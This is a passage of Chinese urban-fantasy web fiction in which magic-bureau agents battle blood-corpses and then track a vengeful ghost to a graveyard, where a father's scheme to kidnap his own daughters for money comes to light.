“队长,这次行动有外聘人员吗?我们遇到一个。”
那边施彦河回道:
“啊,有外聘,是请来生死交割线这边帮忙的通灵者,劳山风,老熟人了。你们路上碰到了?正好,赶快来,我们到了。”
劳山风骂骂咧咧,被边锋堵嘴又放开。
“听见没有?小心一会儿招鬼咬你俩!”
“你还会通灵?”边锋问。
劳山风气哼哼,道:“你以为呢!不像你就会耍个傻鞭。”
边锋不悦,驱动鞭子轻抽他嘴。
“嘘!别说揽月,它听得懂!”
鞭尾在劳山风眼前一翘,一甩,锁链跟着哗啦啦响动,莫名三分傲娇。
揽月啊,边沁的声音仿若仍在耳畔:
我哥那武器弱得很……得很……
劳山风诧道:“再说一遍?叫啥?这黑黢黢的大甩鞭,名字还挺文雅。”
揽月扭动的鞭尾猛然一滞,定在劳山风眼前。
黑,黢,黢。
鞭尾似是不可置信,颤巍巍后退,呲溜一下从边锋衣领口钻了进去。
边锋一笑:“哦豁,你惨了。”
鞭身还捆着劳山风,不待他反应过来,簌簌游曳收紧。
“呜哇!”
锁链勒得劳山风呼吸艰难,脸色涨红,毛细血管几欲崩裂。
边锋拍拍揽月,“好了好了,再勒他要死了。”
揽月听话,一瞬松解开,眨眼间已全然服帖在边锋手腕。
劳山风大口喘气,若非脚下的飞行结界像个毯子兜住他,早就不知跌到哪边去了。
这层透明的飞行结界,期间一直在带三人疾驰,眼下晚霞红艳艳烧透半边天,另半边已是星罗棋布,暮色合围。
墨蓝与橘红冲撞一气,交相辉映,诡异美丽
——
阴阳交割线,到了。
*
通灵者到,围聚在证物袋旁的工作人员辟出一条通路。
2队队长施彦河、3队队长胥义黎和溜金抱站在中心。
胥义黎身着黑铠甲防护服,一派英姿飒爽,她招手唤道:"山风,你可算来了。”
旋即又走近,低声说:
“先看小孩还在不在。”
通灵师工作时常召唤亡灵,只要有死者遗物,就可开工。
胥义黎的意思,如果召唤出亡灵,说明孩子已经往生,任务会变成寻找尸骨。
劳山风点点头,道:
“他妻子的物件也可以一并看了。”
胥义黎摇头道:“委托人不愿意,他说不想面对妻子出事的可能,先看小孩吧。”
……
阴阳交割线有一座审判台,传说和天地共生,自古以来无人可摧毁。
劳山风独自盘
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坐在审判台中央,一手抚在证物袋那只血染透的童鞋上。
霎时间天色暗淡,风卷云涌,晚霞与星辰撕开搅烂,阴气嗖嗖。
边锋环抱手臂搓了搓,蹭过来越洱身侧:“好冷,你热吗?热的话外套我帮你穿?”
“……”
越洱只当没听见,边沁呐,你放心好了,你哥哥很爱惜自己。
注视着台上劳山风做法,鬼界工作那三年,其实她也很少见到小孩子。
孩子少生执念,也好引导,孟婆屋的工作人员牵着孩子们的小手,他们愿意乖乖转生。
忽而背后有热气贴近,越洱回头,见边锋换位,站到她后面稍近的位置,没近到冒犯,又没远到可以忽视。
边锋道:“这里风吹不到诶,好会挡!”
越洱恨不能一个肘击,闹心。
审判台下,抄记员的蛇纹钢笔和本子悬于半空,唰唰写着工作记录。
狂风乱卷,笔触不动,这大钢笔“笔影”很是坚定凄凉。
越洱一个怕热不怕冷的,竟也被冷风吹得牙打颤。
刹时,天地寂寥,像卡掉的磁带,闪雪花的老电视机。
汩汩猩红血液从审判台下的土地中涌出,爬上人们脚背。
劳山风猝然睁眼,弹身而起,叫道:“不好!拿武器,不是亡灵!”
血腥腐臭的气息混风入鼻,先是涌血的土壤中冒出成群的、面目全非的血尸,这些血尸被整个剥了皮,未干的躯体不断渗出黏液和血水,血糊拉呲朝着人群攻来。
众人迅速化出武器迎击,这些血尸没有痛觉,一剑斩过去会爆出铺天盖地血浆,没穿防护服,一旦被沾染,不仅皮肤会被腐蚀殆尽,连同所有脏器也会被感染。
胥义黎一手举盾,一脚踹飞血尸,大喊:“结界护体!”
血尸穿插着从脚下的土地冒出,来不及整体防御,胥义黎是让大家自己贴身结界,可以暂挡污秽。
施彦河站到溜金抱面前,边挡边骂:“劳山风,你招来的什么鬼东西!”
溜金抱手无寸铁,抱头鼠窜,蹲身躲在队长身后,他这人最爱指挥,这下终于晓得该闭嘴就闭上。
劳山风趁有空隙,冲去与施彦河合流,给溜金抱结上一层防护结界。
越洱忙拉着边锋冲向空间宽裕地,她见过有人对战血尸太慌张,不管不顾斩杀,脏血漫天飞,还没来得及结界的队友,一个个被喷溅得狗血淋头,当下痛苦烧灼,皮肤大面积腐蚀如烧伤,回去又大批内脏感染,免疫力差的当天就死了。
边锋使出甩双截棍的手法,把鞭子甩出残影,形成一个盾,挡开飞扑而来的血尸。
两人趁机结界,越洱还给自己的胶把钳结界一层,一会儿甩狙沾到血尸太脏了。
越洱又顺手给揽月贴鞭结界,边锋看她一眼,揽月则哗啦啦抖动身子抽空蹭她一下,似是心情愉悦。
这群血尸脚底悬空,纷纷撕扯着胸膛、胳膊狂甩对手,血雾猛然喷洒四射,那些没皮没眼的血脸上狞笑开裂,才扯掉的断臂原地又生出。
却见法力部众人丝毫未惧,甚至甩的甩,斩的斩,戳的戳,刹时间灭了一片血尸。
越洱飞上飞下,蹿进蹿出,拖着巨大胶把钳敲头,所过之处血尸一只只被砸得东颠西倒;
边锋紧随其后,趁血尸大乱,勒鞭钩上血尸脖子,绞杀。
一只阵中心的血尸似有思虑,怒吼一声化出尖牙和利爪,空洞流血的眼眶竟如有情绪般“瞪”向越洱边锋这边,泣血锥心地嘶叫着飞冲过来。
“当心!”
5. 血尸攻击厉鬼掳人
“当心!”边锋喝道。
血尸挥动利爪猛划越洱面门,火辣辣的刮痛透过结界传来,越洱不由退后闪避,捂着脸缓痛。
“离远些打,别被它爪子抓到!结界会损毁!”
越洱施出传音咒,尽力放大放远声音。
边锋闻之色变,瞬移上前,手隔空拂过越洱眼前,用法力给她加固一层新结界。
越洱阻止道:“别了,你维持两道结界太耗力,还不知道要打多久。”
边锋只摇摇头,给她从头到脚,全身都覆上多一层结界。
越洱见他脸色阴沉,也不好再说,暗想我不仅没保护到他,还蹭人家法力,一时耳热。
血尸群已接二连三化出利爪和齿牙。
“靠!牙齿也是,我头上结界要被啃裂了!”
西边一个队员大喊,他头上挂着一只血尸,恶狠狠张嘴咬住他头盖骨,死甩不掉,一口流脓的尖牙紧扣那人眉骨。
越洱飞去,却见更近处胥义黎一剑刺穿那血尸躯干,闪身利落避开喷溅血,那血尸不甘不愿跌倒下来,摔在地上成一包血浆,又化作一滩红白相间的脓血被土壤迅速吸收。
劳山风和施彦河在审判台上默契配合,斩尸无数,牢牢护着溜金抱,一时无尸近身。
就是劳山风每出一招都要配一句:“嘿!哈!”
嘿嘿哈哈好不热闹,越洱暗自羡慕:他真的血气很足。
将将斩杀一批血尸,每个人结界上皆是血肉淋漓,狼狈至极。
边锋一脸嫌恶,簌簌抖落,恨不能“脱下”结界。
下一秒,他生无可恋道:“又来?!脏死我算了。”
新一批血尸来势汹汹,先只从土壤钻出,而后像开了时空传送门,竟呼啦啦鱼贯而出,凭空出现。
空气中那种刺鼻的腥膻血气,浓度直线上升,呛得越洱这个鼻炎患者都快背过气。
胥义黎打得累极,额上冒出细汗,挥盾都慢了,另一手凭本能出剑。
她边打边强撑着指挥:“大家别松懈,这些东西最会乘虚而入,支援队很快到!”
这话也就听听,当个强心剂罢了,现下通讯中断,任何人在阴阳交界线片区根本闪现不了,信使回去搬救兵有得等。
血尸接踵而来,打了一串又挂出一串,无尽无绝,边锋连续勒鞭,勒得手接连泛白又青红。
越洱见此,顾不上法力耗竭风险,派出另一把巨大胶把钳帮忙边锋。
那钳子把手橙黑相间,除了大小,真和边锋爷爷家使的那种别无二致。
巨钳竖直飞立,一口一个,钳口嘎嘣嘎嘣捏爆血尸脑袋,很是畅快利索。
边锋大赞:“好钳!乖钳!”
恰此时,一颗捏爆的血尸脑袋,和着血水/骨渣/脑浆,啪叽飞撞上边锋的嘴。
他方才张嘴夸着,笑口常开,脏脏自然来。
边锋一愣,登时呸呸吐,还好有结界,也就和这些东西隔膜接触接触。
这下好了,搞得大家都不高兴。边锋黑着脸紧闭双唇,只一味勒鞭绞杀血尸。
酣战之际,无暇他顾。
突然,审判台爆出一声尖啸,只见施彦河和劳山风抢身上前抓,原是一厉鬼趁众人背对着溜金抱厮杀血尸,无声飘飞而至。
厉鬼狠命咬上溜金抱肩头撕扯,一口撕下一块肩头肉,噗嗤吐到地上。
溜金抱痛极惨叫,仰着脖子眼角飙泪,厉鬼余光见有人扑来,才急忙飞身而起,掳走溜金抱。
这鬼身形纤细,却能肩扛溜金抱这种大高个儿,对折的溜金抱目眦欲裂,惊恐至极,挣扎着探手朝地。
“快救我!救命啊!”
可厉鬼几下闪身,就如血尸凭空出现一般,倏然消失。
越洱心道不妙,也冲闪过血尸围攻,飞来:“靠!闪哪儿去了?”
战场上厮杀的血尸似有感应,渐渐停下动作,竟不再攻击,随着厉鬼消失,隐入地下,地面只剩它们遗弃的无数断臂在抽动弹跳。
法力部众人懵逼,委托人就这么给当面掳走啦?白白设个防护结界?
劳山风跳下审判台来,很是惊奇:“这鬼竟然不怕防护结界?怨气得多重……”
施彦河慌忙紧随其后,他一手按着右耳上的刺玫瑰耳夹,道:“怎么还是接不到指挥组,部里可不知道委托人被抢跑了吧?”
“哐当”,胥义黎气得摔开盾牌,全员就她身上稍干净,她一脸冷酷,直生自己的气:“我大意了,这鬼什么来头?”
劳山风愁得头只冒烟,揪着头发说:“一只怨气深重的厉鬼,来路不明;这鬼能直接穿过防护结界,实属少见。”
胥义黎略微思索,伸手从铠甲内袋掏出一张照片,摊在手心问:“你们说像不像她,委托人妻子,乐奇?”
几人凑上去看,照片上一女子身穿白裙,亭亭玉立,一手牵着一个小女孩。正是烟火会上,溜金抱和乐奇的双胞胎女儿。
越洱只远见厉鬼扛着溜金抱飞闪的背影,不好妄下定论。
边锋却道:“我看大概率就是乐奇,要是无缘无故,没恩没仇的,鬼不敢擅闯结界去掳人。硬闯结界很伤元魂,况且还是法力部搞的结界。”
胥义黎点点头,道:“乐奇死了,我也有这个预想,灵力暴走一般人承受不住。”
劳山风皱眉,疑惑道:“那溜乐意呢,小孩也死了?可刚刚我怎么召唤都没有亡灵应答。”
“溜乐意可能还活着,山风,你不能再把乐奇的鬼魂召唤过来吗?现在没处找她去啊。”施彦河问道。
劳山风摇头,道:“化成厉鬼是不能应召的,厉鬼只一心去完成自己的执念。”
听到这儿,越洱咂摸出不对劲:“乐奇的执念是溜金抱?我没记错的话,只有极其深重的怨恨才会催生出厉鬼吧?难道乐奇其实恨死了溜金抱?”
可为什么呢?越洱从没听过溜金抱夫妇不和的传闻,据说乐奇很离不开溜金抱,所以才时时容忍老公从不顾家、从不带自己聚会。
难不成是忍受多年,积怨爆发?
劳山风道:“怨恨确实催生厉鬼,但这怨恨不一定是针对溜金抱的,乐奇掳走他,可能只是因为需要他助力才能完成执念。”
稍许他又补充道:“不过看她上来就撕咬溜金抱,也可能真有不为人知的怨恨。”
此话一出,几人沉默苦思,其余队员们也听不出门道,只各自清理着,稍作休息等指挥
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施彦河打破沉默,道:“不行,我得亲自走一趟本部,委托人被掳走还不及时上报,到时候没我们好果子吃。”
说着他“脱下”结界,连同一身血与碎肉,掉了个干净。
胥义黎也赞成,道:“刘队,我们这边有几个伤员,让他们和你一起走吧。我带着剩下的人找。”
她又走向那三两个伤员,道:“飞行器上有药箱,先简单处理一下。记住一到本部马上去医疗中心,不能拖,知道吗?”
那几个伤员点点头,早就心急如焚,赶紧上了飞行器。
待飞行器远去,众人也落下肮脏结界层。
胥义黎一刻不停歇,又带队寻去。
可也如无头苍蝇,不知方位。
她吩咐一些人原地待命,等着接应半天没见来的本部支援队。
此时他们站在橘与蓝重新分界的平静晚空下,不远处的松树林随风送来淡淡松香。
边锋拉过劳山风,一手搂着他肩膀问:“你怎么没跟胥队去找人?通灵师不管用啦?”
这人俊目星眉,此时却混不吝像在调戏劳山风。
劳山风白他一眼,甩开边锋手臂道:“我一来,至少确认小孩没死,这不比你有用多了?”
越洱不死心追问:“通灵师召唤不了厉鬼,那隔空对话成不成?”
劳山风:“我试过了,乐奇根本不回应,这和通灵阵传话差不多,要是对面强烈抵制,怎么也传不到的。”
他说到通灵阵,越洱忽然有个主意。
她借口找厕所,悄悄挪到审判台后方松树林里,松香飘逸,眼前是一湾碧蓝的水。
越洱神识接入通灵阵,通灵阵中环绕着一堵堵抽屉墙,一个等比例缩小的小人儿在阵中飞跃翻找。
“啊,幸好还在。”
小版越洱一手贴上抽屉拉环,上方篆刻着几个红字,笔力遒劲——
【“鬼鬼帮你报复个够”聊天群】
这是鬼界工作那三年的工作交接群,越洱离职后,鬼界那个管理员重新建群,也没踢走她,几鬼一人时不时在群里插科打诨,直到这两年生活艰难工作忙碌,越洱就不大关注了。
通灵阵里成千上万的抽屉,都对应一个聊天群入口,哪天有时间还是清理清理,可看着这巨大工程量,越洱头疼得紧。
漆黑无上限的上方,一条绿光莹莹的青鱼一跃而下,随着动作,青鱼尾巴处空气竟泛起水样涟漪。
青鱼摆摆尾,倏然钻过越洱覆在抽屉拉环上的手背,穿梭进抽屉,下一秒,越洱随之被拉进【鬼鬼帮你报复个够】聊天阵中。
一个清脆女声正响:“死虫,你上次推的那家鲜炙蚂蚱,我去吃了,哎呦脏的嘞,我回来吐出一百颗牙齿!"
另有男声回应:“那你还吃?苍蝇小馆子,讲究那老多。”
这可真是运气好,越洱松一口气,她就担心前同事们和她一样早就不用这个群了,还好还好。
“咳咳,”越洱轻咳两声,极不自然插话道:“虫哥,灾姐,在忙什么呐?”
阵内一时鸦雀无声,
灾姐尖声道:
“死越洱!你还知道回来?老娘以为你真死外头了呢!”
6. 姐在鬼界有点人脉
男声也道:“小越,你大忙人啊,多久没你消息了。”
第三个较为稚嫩的声音响起,雀跃道:
“啊啊啊!越姐姐,我拿毕业证了,现在也正式给‘鬼鬼帮’打工啦!”
越洱:“师童也在呀,恭喜你!”
随后心虚笑道:“诶呀诶呀,忙着讨生活,想死你们了!话说我现在到法力部打工来了。”
"嘁,"灾姐轻嗤一声,“那地方有什么好待的?都是些死板呆头瓜,规矩多得不得了,你不如干脆回来干。”
虫哥也说:“对呀,都修法力了还被条条框框管着?有什么心肠?”
没心肠的越洱讪笑,道:“图个稳定嘛,其实我现在在外面出任务。”
越洱切入正题:“遇到一个厉鬼掳走我们人,那鬼特快,我们还没开追就消失了。有什么法子找到她位置吗?”
鬼界不像法力部或人间,只要事情不闹太大,鬼爱做什么就做,没谁管。
阵内无声,越洱估计他们在思忖该不该插手。
几鬼一人在阎罗手下共同工作三年之久,几乎日日夜夜相伴。
哪怕说今时不同往日,谁知道以后谁要得到谁,三界之大,来日方长。
况且这不是什么机要秘密。
灾姐开口道:“鬼本来也擅长隐匿,与其找鬼,不如找她掳走那个人。那人有什么物件,我教你画个追踪定位阵法,你照着弄。”
溜金抱今天两手空空,什么也没拿,但越洱转念一想,问道:
“没有物件,有他身上掉下来的肉,能不能起作用?”
虫哥插话:“人肉,那太好了!越是贴身越好用。”
越洱听见他咽口水的轻微声响。
灾姐已经弹过来一个示范阵法图,看起来却是毛笔一蹴而就画成的。
越洱忙问:“我需要一笔画成吗?”
灾姐轻笑一下:“没必要,最后一笔画成之前,随你修改。”
她又交代:“这个阵法只能用一次,你别打草惊蛇吓跑那鬼。要是跑了,再追就要换物件。”
“小越,那块肉,你救回人就没用处了吧?哥哥我……”
越洱正听虫哥这么说,忽闻树枝踩断声,连忙道谢匆匆退阵。
她飞快化出武器,回身刺钳子。
灰暗中,一把钳直指边锋面前,边锋吓住,举手道:
“大姐,自己人!”
又幽怨道:“你尿不尽啊,天都黑了。我喊你半天不吱声,以为你也被厉鬼带走了。”
他环顾一眼,蹙眉犹豫道:“你就……找的这‘厕所’?”
越洱松口气,放下钳子,不理他前面一串话,只问:“本部支援到了?”
边锋歪着身斜靠在一棵松树上:“来了一大堆,说替换我们。回家不?”
越洱迟疑,这上司也太贴心了,原以为找不到人不让回去。
她轻声道:“有没有兴趣追鬼?”
边锋一听可来劲,树也不靠了,手也不抱了。
附身侧耳听越洱讲计划。
越洱简单同他说明,为了强调两人单独行动的必要性,只好透露消息来自鬼界,不便让法力部知晓。
反正越洱预感,灾姐教的阵法也瞒不住边锋。
听罢,
“你可以啊!”边锋挺直腰背,饶有兴味看着越洱。
“哈哈,姐在鬼界有点人脉。”越洱摸摸鼻子:“你去取肉?”
边锋:“……”
*
松林、清潭,四下寂静,蝉鸣声声。
边锋取肉去了。
越洱择一块花草稀疏的小地,蹲身画阵,她默背着灾姐给的阵法,手指划地,点点改改才修出一个复杂的追踪定位阵;又调出聊天阵那个原图,对比核实,确保无误。
不多时,边锋左手托着东西走近。
直到身前,越洱才看清那是一片荷叶,中间放置着带血的肉。
边锋一脸嫌弃,他总有种血肉在手心活起来跳动的错觉,恨不能一把甩飞,连自己这只手也不想要了。
两人几乎同时开口:
越:“我以后再也不吃荷叶鸡。”
边:“该不会要一直拿着吧?”
越洱也怕拿,尤其想到是从溜金抱身上撕下来的肉,哪怕以前再膈应溜金抱,也绝想不到人生中哪一天要亲手捧着他血肉。
只好抱歉笑道:“可能要拜托你多拿一会儿了。”
边锋看她连连后退,道:“你可真行,喊我一道就为这个是吧?”
越洱谄媚道:“没有你我真是不晓得怎么办!”
边锋按捺不住嘴角抬了抬,一只手托着荷叶肩膀肉,缓步走进阵法中央。
越洱嘿嘿一笑,立即拖着钳子绕阵法外围划拉一周,小步跑进阵中与边锋同站。
追踪阵一笔一划流溢光华,天幕忽而垂下岩浆瀑布,岩浆流动,如挂在悬崖峭壁。
越洱一看这夸张手笔,嗯,还是鬼鬼帮的味道,预感从来不会出错——
边锋抬手指去:“这岩浆……”
越洱按下他手臂,解释说:“放心吧,就是我那几个鬼友搞点浪漫,假的,别人也看不到。”
边锋:“浪漫,很是浪漫。”不知道的还以为炼狱今天开门迎客呢。
追踪阵脱离地面,阵图托着边/越二人上升,脚下生风,晚风吹拂着发丝。
一条磷磷鬼火组成的天道,顺着岩浆瀑布开辟。
忽然有东西拱了拱越洱袖口,越洱低头一看,是一个雕花镂空的头骨。
一时间,四面八方飘来数不清的灵堂牌位、酒水野果、白骨“艺术品”,纷纷汇入鬼火中,铺就一条卖相精彩的天路。
这些漂浮的东西,卷裹着二人流动,在其间有如鱼浮水心,有微妙失重感。
边锋腾出手,戳戳一个东倒西歪的白骨不倒翁,笑道:“这也是你鬼友们搞浪漫?”
越洱:“当然啦,看这手艺,名家手笔!多浪漫!”
地下三位“艺术家”本就悄悄远程窥探,闻此言暗爽不已。
两具白骨小狗“咔塔咔塔”颠颠跑来,衔住二人手袖、衣摆,拉着他们转身。
越洱背对去路,却能见到来时路,阴阳交割线还有法力部交班的工作人员,不少人穿着白色防护服在捡拾血尸断臂。
那两只白骨小狗摇晃着尾骨,巴巴抬头“望”着边锋手上的肉,馋得紧。
边锋见它们如此模样,索性荷叶收拢包好肉块,一下塞进衣袋。
他伸手摸摸两个狗头,又是爱又是怜:“这个不可以吃,小狗狗怎么到这里了?”
白骨小狗啪叽钻进他怀里,不依不饶去拱拱揣肉的口袋。
微失重状态下,就像他耷拉着两腿坐在草坪上,在逗自己狗狗玩。
越洱被此情此景勾得莞尔一笑:“你也养狗?”
边锋一怔,又很快恢复撸狗动作,道:“养过,再也不养了。”
越洱:“…
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…”
她大概猜到发生了什么。
不再言语,也靠近边锋,摸摸狗头,白骨的触感很怪异,狗狗们亲近蹭手的每个动作都“咔塔咔塔”轻响。
真是,可爱又可怜……
二人在岩浆瀑布映照下,随缤纷天路漂了许久,只见来时路,不见去时路。
竟然记不得怎么拐来拐去到了此地,飘到一片茂密树林合围的坟场上空,小狗拽住裤腿轻轻带他们降落。
脚踏之地还在树林外围,相当隐蔽。
越洱不舍得,脸颊贴贴两小只白骨小狗的头,轻声道别。小狗们蹦蹦跶跶跑回上空,天路闭合,消失不见。
等她收回目光,就见边锋默默盯着她看。
越洱问:“干嘛?”
边锋被抓包也不尴尬,笑眯眯说:
“小狗很喜欢你。”
*
二人运法微抬脚,不接触地面,又借助结界屏息,缓缓飘进密林。
推进一段,边锋猛停住,指指耳朵。
越洱细听,不远处窸窸窣窣,有人在讲话。
忽而那声量陡增:“再不说我就一刀刀割你!杀千刀的,你以为我不敢?”
边越二人忙附身飘近,借助一丛丛灌木掩身,方才看清眼前景象——
坟场密密麻麻插着石碑,年久失修,石碑歪斜。
其中一块较高而直的石碑上,绑着溜金抱,他呈坐姿,反手贴石碑,被牢牢束缚在地。
那绳索极紧,深深吃进溜金抱的骨肉,尤其那诡异大肚子,肉被勒得横冒出几圈。
一长发飘散的厉鬼右手持匕首,刀口见血。
旁边站着一个不寻常的亡魂,这亡魂中年男人模样,手举火把,背上挂着竹编小背篓。
“乐奇。”溜金抱抬头,满口鲜血,直勾勾盯着化为厉鬼的乐奇嘲笑道:“你是不是忘恩负义?你当了一辈子哑巴废人,多亏我,现在你又能讲话,又能……”
“咳!”
乐奇双目通红,一脚踹歪溜金抱的头,踹得他咳血几口。
“你他妈嘴里也敢说忘恩负义?当初要不是我爹妈资助你上学,借钱给你创业,你现在算哪根葱!”
乐奇气得发抖,紧攥匕首的那只手分明更加苍白无色了。
“呸!”溜金抱啐出一口血唾沫,恶狠狠道:“老子自己有本事才走到今天,你家那点毛毛雨,以为多了不起?”
那男鬼看看乐奇,掩不住担忧。
乐奇气极反笑:“好好好,就为那点毛毛雨,你溜金抱跪着舔我的鞋都愿意,真是下贱!别他妈废话,快说!你把天赐藏哪儿去了!”
越洱皱眉,循上午踪迹回溯边锋通灵阵,敲出震颤。
二人接通,通灵阵内:
越洱:“溜天赐是他家小女儿吧,不是说还在住院吗?”
边锋:“看来溜金抱早就有动作,没说实话。乐奇身边怎么还有个亡魂?”
越洱:“再等等,听完先。”
坟场,溜金抱头靠石碑,皮笑肉不笑:“想找天赐啊?行啊,先把你爹妈的遗产交出来!你究竟放哪张卡里!藏得真好啊乐奇。”
“你就为了这个?”乐奇不可置信,“就为了这个……”
溜金抱突然挺身怒吼:“对!就他妈为了这个!”
他挣扎着蹬脚去踢站在一旁的男鬼,“你这条背信弃义的癞狗!要不是你毁约,钱我早就到手!根本用不着兜这么老大圈!”
毁约?
7. 是故意撞破秘密
那男鬼退后一步,溜金抱挣扎的腿也泄掉力,塌垂在地。
男鬼低头,似是不敢看乐奇。
溜金抱吁吁喘着气,声音像漏风的气囊:“没钱你们别想找到溜天赐。她是我女儿,任由我处置!”
说着,他又斜眼去看树影下的男鬼,嗤笑出声:“癞皮狗,怎么,这么想要我女人?抢我一个女儿还不够,现在连吃带拿是吧?”
那男鬼反手扶好背篓,冷冷道:“跟你这种拿女儿换钱的毒爹,没什么好留恋。”
“哈哈!真稀奇,叫你绑架你还不是一口答应?你多高贵?跟我交易的时候,就不管无辜小孩安危啦?谁有你会装!”
男鬼噎住,低头用余光瞥一眼乐奇。
乐奇刀口直抵上溜金抱喉头,逼迫道:“少废话,我要见天赐!我不能杀你,还不能让你生不如死?”
溜金抱满眼红血丝斜瞪着乐奇,挑衅道:“你来呀,到时候看看你女儿身上伤会不会比我少些。”
乐奇不敢赌,溜金抱可以找这个鬼交易,合伙用大女儿换钱;他也可以找其他鬼合伙,把自身伤害同等呈现在小女儿身上。
乐奇手一松,匕首终是退开。
边锋转脸对越洱,在通灵阵说 :“原来是溜金抱自导自演绑架大女儿骗钱,真作孽。”
“那契约说的是他和这男鬼合作绑架溜乐意了。”
越洱点点头,眉头拧起:“天,他到底怎么回事?我离职前一阵,他还跟我们吹自己有700万定存啊,现在缺钱到卖女儿这种地步?”
*
前年,越洱离职前,一个加班的夏夜。招生办公室里,白炽灯晃眼,蚊子神出鬼没吸了越洱小腿好多血。
越洱正烦躁敲击电脑键盘,溜金抱提着一杯冰奶茶踱步走进办公室。
这可真稀罕,他先是关心几句越洱工作上的困难,又道:
“其实这次学校要解散咱们招办,都是我做的不好,第一年招生没经验,唉。”
越洱喝着冰凉的饮料,手上还在假模假式动鼠标装工作,等他说下去。
溜金抱道:“那个小陆,怎么记账的,她真不如你干事清爽,啥也记不明白。现在学校要对账,我们那些发票根本不够……”
当时越洱摸不清溜金抱到底从学校领来多少钱,又亏空了多少,她入职半年以来,其实招办下乡工作加打广告,没花多少,况且每一笔花出去的钱,他们开回发票也只会多不会少。
犹记得刚入职,溜金抱饭桌上喝高了,得意道:“你们刚进来,问问小罗,小陆,我对大家好不好?时不时的,就直接转账两三千,去吧,买衣服去,不信你问她们。”
小罗,小陆早半年入职,如今新来的几个没人会去问,这转给小姑娘买衣服的钱,是您溜金抱自己腰包里掏的?还是……?
总之这回饭桌失言之后,新来的几人也完全没感到招办日子多好过,越洱她们外勤、下乡,都是先自掏腰包贴钱,等报销更是挠人心肝,一慢再慢。
想必在越洱入职以前,这钱已经花得差不多。
可究竟亏空多少,只有溜金抱自己心里清楚。
那个夏夜,溜金抱一反常态,耐心等着越洱加班,其间大吐苦水,诉说不易。
回家前,溜金抱说:“其实罗和陆入职时候,签了个条子。”
他起身打开办公柜一个资料夹,翻开,捏出一个小笔记本,走到越洱面前,又翻到某页面,指着上面的字给越洱瞧。
“本人自xx年xx月xx日,领取招生经费叁万元整,用于招生工作支出。”
右下角落款签名,按红指印。
越洱坐在办公椅上,只觉热气蒸腾难耐,白炽灯由上至下打在两人背上,溜金抱的阴影投下,覆盖住越洱半身。
她明白溜金抱什么意思,她知道不该签,但她当时那么相信溜金抱,相信学校解散招生办以后,溜金抱会聘请她到自己创办的教育机构去给那些孩子辅导,她需要工作。
冷汗沁出额头,口腔却干涩,越洱在膝盖上搓搓手心,道:“我考虑一下明早再和您说吧。”
*
回到当下,坟场,也是一个月朗风清的夜晚。
溜金抱、乐奇还在争执着谁先退让。
“只要你把钱交出来,我不会动天赐一根毫毛,你大可以放心去投胎转世,这样不好吗?”
溜金抱眼神敛起温情来,声音也和缓道:“乐奇,你我夫妻这么多年,小时候你说最看不得我受苦,心疼我。现在呢?你走了,钱还能跟着你走吗?放我手里,咱们女儿还能好好长大……”
乐奇已是泣不成声,血泪淌过她惨白的脸庞:“你把天赐放哪儿了?我求求你,我手上真的没钱,没钱!当时拿去给绑匪赎乐意的赎金,都是我爸妈借的,你跟着去借钱,你还不明白家里状况吗?”
“呵,你们乐家蛇鼠一窝。”溜金抱冷笑道:“没钱?那么多年生意白做了?别想骗我!都是你爸那只老狐狸下套!他早看出我缺钱,防着我,一家子演戏给我看!”
乐奇一怔,状若出神地看着溜金抱,溜金抱也回望着她。
那男鬼扭头返身去看背篓,火把微微举高,越洱这才看清,背篓里睡着一个小女孩,稚嫩的脸蛋贴在男鬼背上,火光惊扰不了她的美梦。
通灵阵,边锋道:“他们刚才这么大动静,孩子竟然没被吵醒,该不会喂了安眠药吧?”
越洱道:“不清楚,用安眠咒更方便些,也不伤小孩儿。”
两人皆是蹲得腿麻,正纠结什么时机跳出去,怎么一人抓一个别放跑掉,就听乐奇说:
“好,钱都给你,房子你也随便处置,我要先看到天赐好好的。”
溜金抱不耐烦地使劲挤挤眼,道:“别说那些,你现在没资格谈条件,钱我什么时候拿都行,要是再磨磨唧唧,女儿你可不一定见得到。”
乐奇沉默,点点头妥协了,那男鬼欲言又止,终是没开口。
溜金抱脸浮上笑意,他虽被五花大绑束缚在地,看向那一人一鬼的眼神,却好似居高临下。
溜金抱道:“早这样多好,现在给我解解绑,我手都快坏死了,你别害天赐的手也变成这样。”
男鬼一手把火把递给乐奇,接过她手上那匕首,上前蹲着割绳子。
背篓里熟睡的孩子随着他动作轻轻摇晃,溜金抱看向背篓,笑道:“乐意在这儿呀,你一个老鳏夫鬼,还挺会带小孩,不然你们鬼鬼成双,带她去算了。”
乐奇正欲骂他,突然惶恐叫喊:
“当心!他手里有东西!”
那男鬼亦是错愕,可是晚了,溜金抱
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松绑的右手不知何时掏出一个符,死死按在男鬼腿侧。
“不好!”越洱抬眼示意边锋。
溜金抱满眼通红,狞笑道:“我让你耍老子!契约是白签的吗?让你尝尝背信弃义的后果哈哈哈哈哈!”
那符迅速化为燃烧的图腾,灼烧进男鬼腿侧肌肤。
越洱/边锋从灌木丛中飞跃而出,出鞭极快,一下锁住溜金抱和男鬼。
越洱这边手紧紧钳住乐奇手臂,对那张血泪纵横,震惊不已的脸说:“别怕,不会伤害你,我们是法力部的。”
“啊啊啊!”炽烈的扶咒灼烧着男鬼肌肤,他惨叫出声,背篓里女孩转醒,睡眼迷蒙看着眼前景象。
边锋揪起溜金抱头发,强迫他抬头,逼问道:“你给他贴的什么符咒?”
溜金抱吃痛,旋即哼笑:“你不想陪他一起下地狱就放开鞭子,这是毁约咒,你等着看吧。”
话音未落,男鬼蹲身之地突然波动变形,土地陷落下去,许多条白骨手臂从漩涡中伸出,抓住男鬼脚踝、手腕、衣裤,死力拖着他下坠。
奇异的是,近处溜金抱和边锋所在之地却无分毫撼动,溜金抱坐在原地嘎嘎大笑不停。
乐奇喊叫:“不要 !”冲身上前去拉,被越洱制住。
随即越洱上前靠近漩涡,跪地伸手去够背篓,那孩子哭得脸涨成酱紫色,损伤的声带似在泣血。
土埋实了男鬼胸口,速度极快,他整个身子还在下坠,使力挣扎跳脱着,欲把背篓脱下举给越洱。
越洱对边锋道:“孩子还在背篓里,我拖不出来!”
湿重的土壤早已卷进背篓,溜乐意被土紧紧塞在背篓里,只剩下脖子和头露在外。
边锋迅速抽鞭,又穿过男鬼腋下,箍住背篓仅剩在外的上缘。
这土漩涡已经深深陷下,越洱跪在边缘险些随土滑落。
她站起退后,化出两把巨钳,左右扒拉刨土,土壤四飞出漩涡,松解压力。
边锋趁机全力拉动鞭子,欲生生拽出一鬼一孩,越洱闪身同立,手覆上那冰冷的鞭身,合力上拉。
乐奇见状,一把抹开血与泪,也抢将上前,同边越二人一道去拉鞭子。
